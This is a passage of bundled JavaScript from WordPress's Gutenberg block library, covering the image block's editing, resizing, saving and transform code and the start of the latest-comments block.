24278 const minHeight = naturalHeight < naturalWidth ? constants_MIN_SIZE : constants_MIN_SIZE / ratio;
24279 const maxWidthBuffer = maxWidth * 2.5;
24280 const maxResizeWidth = maxContentWidth || maxWidthBuffer;
24281 let showRightHandle = false;
24282 let showLeftHandle = false;
24283 if (align === "center") {
24284 showRightHandle = true;
24285 showLeftHandle = true;
24286 } else if ((0,external_wp_i18n_namespaceObject.isRTL)()) {
24287 if (align === "left") {
24288 showRightHandle = true;
24289 } else {
24290 showLeftHandle = true;
24291 }
24292 } else {
24293 if (align === "right") {
24294 showLeftHandle = true;
24295 } else {
24296 showRightHandle = true;
24297 }
24298 }
24299 resizableBox = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24300 external_wp_components_namespaceObject.ResizableBox,
24301 {
24302 ref: effectResizeableBoxPlacement,
24303 style: {
24304 position: "absolute",
24305 // To match the vertical-align: bottom of the img (from style.scss)
24306 // syncs the top with the img. This matters when the img height is
24307 // less than the line-height.
24308 inset: `${offsetTop}px 0 0 0`
24309 },
24310 size: pixelSize,
24311 minWidth,
24312 maxWidth: maxResizeWidth,
24313 minHeight,
24314 maxHeight: maxResizeWidth / ratio,
24315 lockAspectRatio: ratio,
24316 enable: {
24317 top: false,
24318 right: showRightHandle,
24319 bottom: true,
24320 left: showLeftHandle
24321 },
24322 onResizeStart: () => {
24323 toggleSelection(false);
24324 },
24325 onResize: (event, direction, elt, delta) => {
24326 setResizeDelta(delta);
24327 },
24328 onResizeStop: (event, direction, elt, delta) => {
24329 toggleSelection(true);
24330 setResizeDelta(null);
24331 setPixelSize((current) => ({
24332 width: current.width + delta.width,
24333 height: current.height + delta.height
24334 }));
24335 if (maxContentWidth && // Only do this if the image is bigger than the container to prevent it from being squished.
24336 // TODO: Remove this check if the image support setting 100% width.
24337 naturalWidth >= maxContentWidth && Math.abs(elt.offsetWidth - maxContentWidth) < 10) {
24338 setAttributes({
24339 width: void 0,
24340 height: void 0
24341 });
24342 return;
24343 }
24344 setAttributes({
24345 width: `${elt.offsetWidth}px`,
24346 height: "auto",
24347 aspectRatio: ratio === naturalRatio ? void 0 : String(ratio)
24348 });
24349 },
24350 resizeRatio: align === "center" ? 2 : 1
24351 }
24352 );
24353 }
24354 if (!url && !temporaryURL) {
24355 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24356 mediaReplaceFlow,
24357 metadata?.bindings ? controls : sizeControls
24358 ] });
24359 }
24360 const setPostFeatureImage = () => {
24361 editEntityRecord("postType", postType, postId, {
24362 featured_media: id
24363 });
24364 createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Post featured image updated."), {
24365 type: "snackbar"
24366 });
24367 };
24368 const featuredImageControl = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockSettingsMenuControls, { children: ({ selectedClientIds }) => selectedClientIds.length === 1 && !isDescendentOfQueryLoop && postId && id && clientId === selectedClientIds[0] && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { onClick: setPostFeatureImage, children: (0,external_wp_i18n_namespaceObject.__)("Set as featured image") }) });
24369 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24370 mediaReplaceFlow,
24371 controls,
24372 featuredImageControl,
24373 img,
24374 resizableBox,
24375 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24376 Caption,
24377 {
24378 attributes,
24379 setAttributes,
24380 isSelected: isSingleSelected,
24381 insertBlocksAfter,
24382 label: (0,external_wp_i18n_namespaceObject.__)("Image caption text"),
24383 showToolbarButton: isSingleSelected && (hasNonContentControls || isContentOnlyMode) && !hideCaptionControls
24384 }
24385 )
24386 ] });
24387}
24388
24389
24390;// ./node_modules/@wordpress/block-library/build-module/image/use-max-width-observer.js
24391
24392
24393
24394function useMaxWidthObserver() {
24395 const [contentResizeListener, { width }] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
24396 const observerRef = (0,external_wp_element_namespaceObject.useRef)();
24397 const maxWidthObserver = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24398 "div",
24399 {
24400 className: "wp-block",
24401 "aria-hidden": "true",
24402 style: {
24403 position: "absolute",
24404 inset: 0,
24405 width: "100%",
24406 height: 0,
24407 margin: 0
24408 },
24409 ref: observerRef,
24410 children: contentResizeListener
24411 }
24412 );
24413 return [maxWidthObserver, width];
24414}
24415
24416
24417;// ./node_modules/@wordpress/block-library/build-module/image/edit.js
24418
24419
24420
24421
24422
24423
24424
24425
24426
24427
24428
24429
24430
24431
24432
24433
24434
24435const edit_pickRelevantMediaFiles = (image, size) => {
24436 const imageProps = Object.fromEntries(
24437 Object.entries(image ?? {}).filter(
24438 ([key]) => ["alt", "id", "link", "caption"].includes(key)
24439 )
24440 );
24441 imageProps.url = image?.sizes?.[size]?.url || image?.media_details?.sizes?.[size]?.source_url || image.url;
24442 return imageProps;
24443};
24444const isExternalImage = (id, url) => url && !id && !(0,external_wp_blob_namespaceObject.isBlobURL)(url);
24445function hasSize(image, size) {
24446 return "url" in (image?.sizes?.[size] ?? {}) || "source_url" in (image?.media_details?.sizes?.[size] ?? {});
24447}
24448function ImageEdit({
24449 attributes,
24450 setAttributes,
24451 isSelected: isSingleSelected,
24452 className,
24453 insertBlocksAfter,
24454 onReplace,
24455 context,
24456 clientId,
24457 __unstableParentLayout: parentLayout
24458}) {
24459 const {
24460 url = "",
24461 caption,
24462 id,
24463 width,
24464 height,
24465 sizeSlug,
24466 aspectRatio,
24467 scale,
24468 align,
24469 metadata
24470 } = attributes;
24471 const [temporaryURL, setTemporaryURL] = (0,external_wp_element_namespaceObject.useState)(attributes.blob);
24472 const containerRef = (0,external_wp_element_namespaceObject.useRef)();
24473 const layoutType = parentLayout?.type || parentLayout?.default?.type;
24474 const isMaxWidthContainerWidth = !layoutType || layoutType !== "flex" && layoutType !== "grid";
24475 const [maxWidthObserver, maxContentWidth] = useMaxWidthObserver();
24476 const [placeholderResizeListener, { width: placeholderWidth }] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
24477 const isSmallContainer = placeholderWidth && placeholderWidth < 160;
24478 const captionRef = (0,external_wp_element_namespaceObject.useRef)();
24479 (0,external_wp_element_namespaceObject.useEffect)(() => {
24480 captionRef.current = caption;
24481 }, [caption]);
24482 const { __unstableMarkNextChangeAsNotPersistent, replaceBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
24483 (0,external_wp_element_namespaceObject.useEffect)(() => {
24484 if (["wide", "full"].includes(align)) {
24485 __unstableMarkNextChangeAsNotPersistent();
24486 setAttributes({
24487 width: void 0,
24488 height: void 0,
24489 aspectRatio: void 0,
24490 scale: void 0
24491 });
24492 }
24493 }, [__unstableMarkNextChangeAsNotPersistent, align, setAttributes]);
24494 const {
24495 getSettings,
24496 getBlockRootClientId,
24497 getBlockName,
24498 canInsertBlockType
24499 } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
24500 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
24501 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
24502 function onUploadError(message) {
24503 createErrorNotice(message, { type: "snackbar" });
24504 setAttributes({
24505 src: void 0,
24506 id: void 0,
24507 url: void 0,
24508 blob: void 0
24509 });
24510 }
24511 function onSelectImagesList(images) {
24512 const win = containerRef.current?.ownerDocument.defaultView;
24513 if (images.every((file) => file instanceof win.File)) {
24514 const files = images;
24515 const rootClientId = getBlockRootClientId(clientId);
24516 if (files.some((file) => !isValidFileType(file))) {
24517 createErrorNotice(
24518 (0,external_wp_i18n_namespaceObject.__)(
24519 "If uploading to a gallery all files need to be image formats"
24520 ),
24521 { id: "gallery-upload-invalid-file", type: "snackbar" }
24522 );
24523 }
24524 const imageBlocks = files.filter((file) => isValidFileType(file)).map(
24525 (file) => (0,external_wp_blocks_namespaceObject.createBlock)("core/image", {
24526 blob: (0,external_wp_blob_namespaceObject.createBlobURL)(file)
24527 })
24528 );
24529 if (getBlockName(rootClientId) === "core/gallery") {
24530 replaceBlock(clientId, imageBlocks);
24531 } else if (canInsertBlockType("core/gallery", rootClientId)) {
24532 const galleryBlock = (0,external_wp_blocks_namespaceObject.createBlock)(
24533 "core/gallery",
24534 {},
24535 imageBlocks
24536 );
24537 replaceBlock(clientId, galleryBlock);
24538 }
24539 }
24540 }
24541 function onSelectImage(media) {
24542 if (Array.isArray(media)) {
24543 onSelectImagesList(media);
24544 return;
24545 }
24546 if (!media || !media.url) {
24547 setAttributes({
24548 url: void 0,
24549 alt: void 0,
24550 id: void 0,
24551 title: void 0,
24552 caption: void 0,
24553 blob: void 0
24554 });
24555 setTemporaryURL();
24556 return;
24557 }
24558 if ((0,external_wp_blob_namespaceObject.isBlobURL)(media.url)) {
24559 setTemporaryURL(media.url);
24560 return;
24561 }
24562 const { imageDefaultSize } = getSettings();
24563 let newSize = image_constants_DEFAULT_MEDIA_SIZE_SLUG;
24564 if (sizeSlug && hasSize(media, sizeSlug)) {
24565 newSize = sizeSlug;
24566 } else if (hasSize(media, imageDefaultSize)) {
24567 newSize = imageDefaultSize;
24568 }
24569 let mediaAttributes = edit_pickRelevantMediaFiles(media, newSize);
24570 if (typeof mediaAttributes.caption === "string" && mediaAttributes.caption.includes("\n")) {
24571 mediaAttributes.caption = mediaAttributes.caption.replace(
24572 /\n/g,
24573 "<br>"
24574 );
24575 }
24576 if (captionRef.current && !mediaAttributes.caption) {
24577 const { caption: omittedCaption, ...restMediaAttributes } = mediaAttributes;
24578 mediaAttributes = restMediaAttributes;
24579 }
24580 let additionalAttributes;
24581 if (!media.id || media.id !== id) {
24582 additionalAttributes = {
24583 sizeSlug: newSize
24584 };
24585 }
24586 let linkDestination = attributes.linkDestination;
24587 if (!linkDestination) {
24588 switch (window?.wp?.media?.view?.settings?.defaultProps?.link || constants_LINK_DESTINATION_NONE) {
24589 case "file":
24590 case constants_LINK_DESTINATION_MEDIA:
24591 linkDestination = constants_LINK_DESTINATION_MEDIA;
24592 break;
24593 case "post":
24594 case constants_LINK_DESTINATION_ATTACHMENT:
24595 linkDestination = constants_LINK_DESTINATION_ATTACHMENT;
24596 break;
24597 case LINK_DESTINATION_CUSTOM:
24598 linkDestination = LINK_DESTINATION_CUSTOM;
24599 break;
24600 case constants_LINK_DESTINATION_NONE:
24601 linkDestination = constants_LINK_DESTINATION_NONE;
24602 break;
24603 }
24604 }
24605 let href;
24606 switch (linkDestination) {
24607 case constants_LINK_DESTINATION_MEDIA:
24608 href = media.url;
24609 break;
24610 case constants_LINK_DESTINATION_ATTACHMENT:
24611 href = media.link;
24612 break;
24613 }
24614 mediaAttributes.href = href;
24615 setAttributes({
24616 blob: void 0,
24617 ...mediaAttributes,
24618 ...additionalAttributes,
24619 linkDestination
24620 });
24621 setTemporaryURL();
24622 }
24623 function onSelectURL(newURL) {
24624 if (newURL !== url) {
24625 setAttributes({
24626 blob: void 0,
24627 url: newURL,
24628 id: void 0,
24629 sizeSlug: getSettings().imageDefaultSize
24630 });
24631 setTemporaryURL();
24632 }
24633 }
24634 useUploadMediaFromBlobURL({
24635 url: temporaryURL,
24636 allowedTypes: constants_ALLOWED_MEDIA_TYPES,
24637 onChange: onSelectImage,
24638 onError: onUploadError
24639 });
24640 const isExternal = isExternalImage(id, url);
24641 const src = isExternal ? url : void 0;
24642 const mediaPreview = !!url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24643 "img",
24644 {
24645 alt: (0,external_wp_i18n_namespaceObject.__)("Edit image"),
24646 title: (0,external_wp_i18n_namespaceObject.__)("Edit image"),
24647 className: "edit-image-preview",
24648 src: url
24649 }
24650 );
24651 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBorderProps)(attributes);
24652 const shadowProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetShadowClassesAndStyles)(attributes);
24653 const classes = dist_clsx(className, {
24654 "is-transient": !!temporaryURL,
24655 "is-resized": !!width || !!height,
24656 [`size-${sizeSlug}`]: sizeSlug,
24657 "has-custom-border": !!borderProps.className || borderProps.style && Object.keys(borderProps.style).length > 0
24658 });
24659 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
24660 ref: containerRef,
24661 className: classes
24662 });
24663 const { lockUrlControls = false, lockUrlControlsMessage } = (0,external_wp_data_namespaceObject.useSelect)(
24664 (select) => {
24665 if (!isSingleSelected) {
24666 return {};
24667 }
24668 const blockBindingsSource = (0,external_wp_blocks_namespaceObject.getBlockBindingsSource)(
24669 metadata?.bindings?.url?.source
24670 );
24671 return {
24672 lockUrlControls: !!metadata?.bindings?.url && !blockBindingsSource?.canUserEditValue?.({
24673 select,
24674 context,
24675 args: metadata?.bindings?.url?.args
24676 }),
24677 lockUrlControlsMessage: blockBindingsSource?.label ? (0,external_wp_i18n_namespaceObject.sprintf)(
24678 /* translators: %s: Label of the bindings source. */
24679 (0,external_wp_i18n_namespaceObject.__)("Connected to %s"),
24680 blockBindingsSource.label
24681 ) : (0,external_wp_i18n_namespaceObject.__)("Connected to dynamic data")
24682 };
24683 },
24684 [context, isSingleSelected, metadata?.bindings?.url]
24685 );
24686 const placeholder = (content) => {
24687 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
24688 external_wp_components_namespaceObject.Placeholder,
24689 {
24690 className: dist_clsx("block-editor-media-placeholder", {
24691 [borderProps.className]: !!borderProps.className && !isSingleSelected
24692 }),
24693 icon: !isSmallContainer && (lockUrlControls ? plugins_default : image_default),
24694 withIllustration: !isSingleSelected || isSmallContainer,
24695 label: !isSmallContainer && (0,external_wp_i18n_namespaceObject.__)("Image"),
24696 instructions: !lockUrlControls && !isSmallContainer && (0,external_wp_i18n_namespaceObject.__)(
24697 "Drag and drop an image, upload, or choose from your library."
24698 ),
24699 style: {
24700 aspectRatio: !(width && height) && aspectRatio ? aspectRatio : void 0,
24701 width: height && aspectRatio ? "100%" : width,
24702 height: width && aspectRatio ? "100%" : height,
24703 objectFit: scale,
24704 ...borderProps.style,
24705 ...shadowProps.style
24706 },
24707 children: [
24708 lockUrlControls && !isSmallContainer && lockUrlControlsMessage,
24709 !lockUrlControls && !isSmallContainer && content,
24710 placeholderResizeListener
24711 ]
24712 }
24713 );
24714 };
24715 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24716 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...blockProps, children: [
24717 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24718 image_Image,
24719 {
24720 temporaryURL,
24721 attributes,
24722 setAttributes,
24723 isSingleSelected,
24724 insertBlocksAfter,
24725 onReplace,
24726 onSelectImage,
24727 onSelectURL,
24728 onUploadError,
24729 context,
24730 clientId,
24731 blockEditingMode,
24732 parentLayoutType: layoutType,
24733 maxContentWidth
24734 }
24735 ),
24736 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24737 external_wp_blockEditor_namespaceObject.MediaPlaceholder,
24738 {
24739 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: image_default }),
24740 onSelect: onSelectImage,
24741 onSelectURL,
24742 onError: onUploadError,
24743 placeholder,
24744 accept: "image/*",
24745 allowedTypes: constants_ALLOWED_MEDIA_TYPES,
24746 handleUpload: (files) => files.length === 1,
24747 value: { id, src },
24748 mediaPreview,
24749 disableMediaButtons: temporaryURL || url
24750 }
24751 )
24752 ] }),
24753 // The listener cannot be placed as the first element as it will break the in-between inserter.
24754 // See https://github.com/WordPress/gutenberg/blob/71134165868298fc15e22896d0c28b41b3755ff7/packages/block-editor/src/components/block-list/use-in-between-inserter.js#L120
24755 isSingleSelected && isMaxWidthContainerWidth && maxWidthObserver
24756 ] });
24757}
24758var image_edit_edit_default = ImageEdit;
24759
24760
24761;// ./node_modules/@wordpress/block-library/build-module/image/block.json
24762const image_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/image","title":"Image","category":"media","usesContext":["allowResize","imageCrop","fixedHeight","postId","postType","queryId"],"description":"Insert an image to make a visual statement.","keywords":["img","photo","picture"],"textdomain":"default","attributes":{"blob":{"type":"string","role":"local"},"url":{"type":"string","source":"attribute","selector":"img","attribute":"src","role":"content"},"alt":{"type":"string","source":"attribute","selector":"img","attribute":"alt","default":"","role":"content"},"caption":{"type":"rich-text","source":"rich-text","selector":"figcaption","role":"content"},"lightbox":{"type":"object","enabled":{"type":"boolean"}},"title":{"type":"string","source":"attribute","selector":"img","attribute":"title","role":"content"},"href":{"type":"string","source":"attribute","selector":"figure > a","attribute":"href","role":"content"},"rel":{"type":"string","source":"attribute","selector":"figure > a","attribute":"rel"},"linkClass":{"type":"string","source":"attribute","selector":"figure > a","attribute":"class"},"id":{"type":"number","role":"content"},"width":{"type":"string"},"height":{"type":"string"},"aspectRatio":{"type":"string"},"scale":{"type":"string"},"sizeSlug":{"type":"string"},"linkDestination":{"type":"string"},"linkTarget":{"type":"string","source":"attribute","selector":"figure > a","attribute":"target"}},"supports":{"interactivity":true,"align":["left","center","right","wide","full"],"anchor":true,"color":{"text":false,"background":false},"filter":{"duotone":true},"spacing":{"margin":true},"__experimentalBorder":{"color":true,"radius":true,"width":true,"__experimentalSkipSerialization":true,"__experimentalDefaultControls":{"color":true,"radius":true,"width":true}},"shadow":{"__experimentalSkipSerialization":true}},"selectors":{"border":".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder","shadow":".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder","filter":{"duotone":".wp-block-image img, .wp-block-image .components-placeholder"}},"styles":[{"name":"default","label":"Default","isDefault":true},{"name":"rounded","label":"Rounded"}],"editorStyle":"wp-block-image-editor","style":"wp-block-image"}');
24763;// ./node_modules/@wordpress/block-library/build-module/image/save.js
24764
24765
24766
24767function image_save_save({ attributes }) {
24768 const {
24769 url,
24770 alt,
24771 caption,
24772 align,
24773 href,
24774 rel,
24775 linkClass,
24776 width,
24777 height,
24778 aspectRatio,
24779 scale,
24780 id,
24781 linkTarget,
24782 sizeSlug,
24783 title,
24784 metadata: { bindings = {} } = {}
24785 } = attributes;
24786 const newRel = !rel ? void 0 : rel;
24787 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
24788 const shadowProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetShadowClassesAndStyles)(attributes);
24789 const classes = dist_clsx({
24790 // All other align classes are handled by block supports.
24791 // `{ align: 'none' }` is unique to transforms for the image block.
24792 alignnone: "none" === align,
24793 [`size-${sizeSlug}`]: sizeSlug,
24794 "is-resized": width || height,
24795 "has-custom-border": !!borderProps.className || borderProps.style && Object.keys(borderProps.style).length > 0
24796 });
24797 const imageClasses = dist_clsx(borderProps.className, {
24798 [`wp-image-${id}`]: !!id
24799 });
24800 const image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24801 "img",
24802 {
24803 src: url,
24804 alt,
24805 className: imageClasses || void 0,
24806 style: {
24807 ...borderProps.style,
24808 ...shadowProps.style,
24809 aspectRatio,
24810 objectFit: scale,
24811 width,
24812 height
24813 },
24814 title
24815 }
24816 );
24817 const displayCaption = !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) || bindings.caption || bindings?.__default?.source === "core/pattern-overrides";
24818 const figure = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24819 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24820 "a",
24821 {
24822 className: linkClass,
24823 href,
24824 target: linkTarget,
24825 rel: newRel,
24826 children: image
24827 }
24828 ) : image,
24829 displayCaption && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24830 external_wp_blockEditor_namespaceObject.RichText.Content,
24831 {
24832 className: (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("caption"),
24833 tagName: "figcaption",
24834 value: caption
24835 }
24836 )
24837 ] });
24838 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes }), children: figure });
24839}
24840
24841
24842;// ./node_modules/@wordpress/block-library/build-module/image/transforms.js
24843
24844
24845function stripFirstImage(attributes, { shortcode }) {
24846 const { body } = document.implementation.createHTMLDocument("");
24847 body.innerHTML = shortcode.content;
24848 let nodeToRemove = body.querySelector("img");
24849 while (nodeToRemove && nodeToRemove.parentNode && nodeToRemove.parentNode !== body) {
24850 nodeToRemove = nodeToRemove.parentNode;
24851 }
24852 if (nodeToRemove) {
24853 nodeToRemove.parentNode.removeChild(nodeToRemove);
24854 }
24855 return body.innerHTML.trim();
24856}
24857function getFirstAnchorAttributeFormHTML(html, attributeName) {
24858 const { body } = document.implementation.createHTMLDocument("");
24859 body.innerHTML = html;
24860 const { firstElementChild } = body;
24861 if (firstElementChild && firstElementChild.nodeName === "A") {
24862 return firstElementChild.getAttribute(attributeName) || void 0;
24863 }
24864}
24865const imageSchema = {
24866 img: {
24867 attributes: ["src", "alt", "title"],
24868 classes: [
24869 "alignleft",
24870 "aligncenter",
24871 "alignright",
24872 "alignnone",
24873 /^wp-image-\d+$/
24874 ]
24875 }
24876};
24877const schema = ({ phrasingContentSchema }) => ({
24878 figure: {
24879 require: ["img"],
24880 children: {
24881 ...imageSchema,
24882 a: {
24883 attributes: ["href", "rel", "target"],
24884 classes: ["*"],
24885 children: imageSchema
24886 },
24887 figcaption: {
24888 children: phrasingContentSchema
24889 }
24890 }
24891 }
24892});
24893const image_transforms_transforms = {
24894 from: [
24895 {
24896 type: "raw",
24897 isMatch: (node) => node.nodeName === "FIGURE" && !!node.querySelector("img"),
24898 schema,
24899 transform: (node) => {
24900 const className = node.className + " " + node.querySelector("img").className;
24901 const alignMatches = /(?:^|\s)align(left|center|right)(?:$|\s)/.exec(
24902 className
24903 );
24904 const anchor = node.id === "" ? void 0 : node.id;
24905 const align = alignMatches ? alignMatches[1] : void 0;
24906 const idMatches = /(?:^|\s)wp-image-(\d+)(?:$|\s)/.exec(
24907 className
24908 );
24909 const id = idMatches ? Number(idMatches[1]) : void 0;
24910 const anchorElement = node.querySelector("a");
24911 const linkDestination = anchorElement && anchorElement.href ? "custom" : void 0;
24912 const href = anchorElement && anchorElement.href ? anchorElement.href : void 0;
24913 const rel = anchorElement && anchorElement.rel ? anchorElement.rel : void 0;
24914 const linkClass = anchorElement && anchorElement.className ? anchorElement.className : void 0;
24915 const attributes = (0,external_wp_blocks_namespaceObject.getBlockAttributes)(
24916 "core/image",
24917 node.outerHTML,
24918 {
24919 align,
24920 id,
24921 linkDestination,
24922 href,
24923 rel,
24924 linkClass,
24925 anchor
24926 }
24927 );
24928 if ((0,external_wp_blob_namespaceObject.isBlobURL)(attributes.url)) {
24929 attributes.blob = attributes.url;
24930 delete attributes.url;
24931 }
24932 return (0,external_wp_blocks_namespaceObject.createBlock)("core/image", attributes);
24933 }
24934 },
24935 {
24936 // Note: when dragging and dropping multiple files onto a gallery this overrides the
24937 // gallery transform in order to add new images to the gallery instead of
24938 // creating a new gallery.
24939 type: "files",
24940 isMatch(files) {
24941 return files.every(
24942 (file) => file.type.indexOf("image/") === 0
24943 );
24944 },
24945 transform(files) {
24946 const blocks = files.map((file) => {
24947 return (0,external_wp_blocks_namespaceObject.createBlock)("core/image", {
24948 blob: (0,external_wp_blob_namespaceObject.createBlobURL)(file)
24949 });
24950 });
24951 return blocks;
24952 }
24953 },
24954 {
24955 type: "shortcode",
24956 tag: "caption",
24957 attributes: {
24958 url: {
24959 type: "string",
24960 source: "attribute",
24961 attribute: "src",
24962 selector: "img"
24963 },
24964 alt: {
24965 type: "string",
24966 source: "attribute",
24967 attribute: "alt",
24968 selector: "img"
24969 },
24970 caption: {
24971 shortcode: stripFirstImage
24972 },
24973 href: {
24974 shortcode: (attributes, { shortcode }) => {
24975 return getFirstAnchorAttributeFormHTML(
24976 shortcode.content,
24977 "href"
24978 );
24979 }
24980 },
24981 rel: {
24982 shortcode: (attributes, { shortcode }) => {
24983 return getFirstAnchorAttributeFormHTML(
24984 shortcode.content,
24985 "rel"
24986 );
24987 }
24988 },
24989 linkClass: {
24990 shortcode: (attributes, { shortcode }) => {
24991 return getFirstAnchorAttributeFormHTML(
24992 shortcode.content,
24993 "class"
24994 );
24995 }
24996 },
24997 id: {
24998 type: "number",
24999 shortcode: ({ named: { id } }) => {
25000 if (!id) {
25001 return;
25002 }
25003 return parseInt(id.replace("attachment_", ""), 10);
25004 }
25005 },
25006 align: {
25007 type: "string",
25008 shortcode: ({ named: { align = "alignnone" } }) => {
25009 return align.replace("align", "");
25010 }
25011 }
25012 }
25013 }
25014 ]
25015};
25016var image_transforms_transforms_default = image_transforms_transforms;
25017
25018
25019;// ./node_modules/@wordpress/block-library/build-module/image/index.js
25020
25021
25022
25023
25024
25025
25026
25027
25028const { name: image_name } = image_block_namespaceObject;
25029const image_settings = {
25030 icon: image_default,
25031 example: {
25032 attributes: {
25033 sizeSlug: "large",
25034 url: "https://s.w.org/images/core/5.3/MtBlanc1.jpg",
25035 // translators: Caption accompanying an image of the Mont Blanc, which serves as an example for the Image block.
25036 caption: (0,external_wp_i18n_namespaceObject.__)("Mont Blanc appears\u2014still, snowy, and serene.")
25037 }
25038 },
25039 __experimentalLabel(attributes, { context }) {
25040 const customName = attributes?.metadata?.name;
25041 if (context === "list-view" && customName) {
25042 return customName;
25043 }
25044 if (context === "accessibility") {
25045 const { caption, alt, url } = attributes;
25046 if (!url) {
25047 return (0,external_wp_i18n_namespaceObject.__)("Empty");
25048 }
25049 if (!alt) {
25050 return caption || "";
25051 }
25052 return alt + (caption ? ". " + caption : "");
25053 }
25054 },
25055 getEditWrapperProps(attributes) {
25056 return {
25057 "data-align": attributes.align
25058 };
25059 },
25060 transforms: image_transforms_transforms_default,
25061 edit: image_edit_edit_default,
25062 save: image_save_save,
25063 deprecated: image_deprecated_deprecated_default
25064};
25065const image_init = () => initBlock({ name: image_name, metadata: image_block_namespaceObject, settings: image_settings });
25066
25067
25068;// ./node_modules/@wordpress/icons/build-module/library/comment.js
25069
25070
25071var comment_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z" }) });
25072
25073
25074;// ./node_modules/@wordpress/block-library/build-module/latest-comments/block.json
25075const latest_comments_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/latest-comments","title":"Latest Comments","category":"widgets","description":"Display a list of your most recent comments.","keywords":["recent comments"],"textdomain":"default","attributes":{"commentsToShow":{"type":"number","default":5,"minimum":1,"maximum":100},"displayAvatar":{"type":"boolean","default":true},"displayDate":{"type":"boolean","default":true},"displayExcerpt":{"type":"boolean","default":true}},"supports":{"align":true,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"html":false,"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-latest-comments-editor","style":"wp-block-latest-comments"}');
25076;// ./node_modules/@wordpress/block-library/build-module/latest-comments/edit.js
25077
25078
25079
25080
25081
25082
25083const MIN_COMMENTS = 1;
25084const MAX_COMMENTS = 100;
25085function LatestComments({ attributes, setAttributes }) {
25086 const { commentsToShow, displayAvatar, displayDate, displayExcerpt } = attributes;
25087 const serverSideAttributes = {
25088 ...attributes,
25089 style: {
25090 ...attributes?.style,
25091 spacing: void 0
25092 }
25093 };
25094 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
25095 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(), children: [
25096 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
25097 external_wp_components_namespaceObject.__experimentalToolsPanel,
25098 {
25099 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
25100 resetAll: () => {
25101 setAttributes({
25102 commentsToShow: 5,
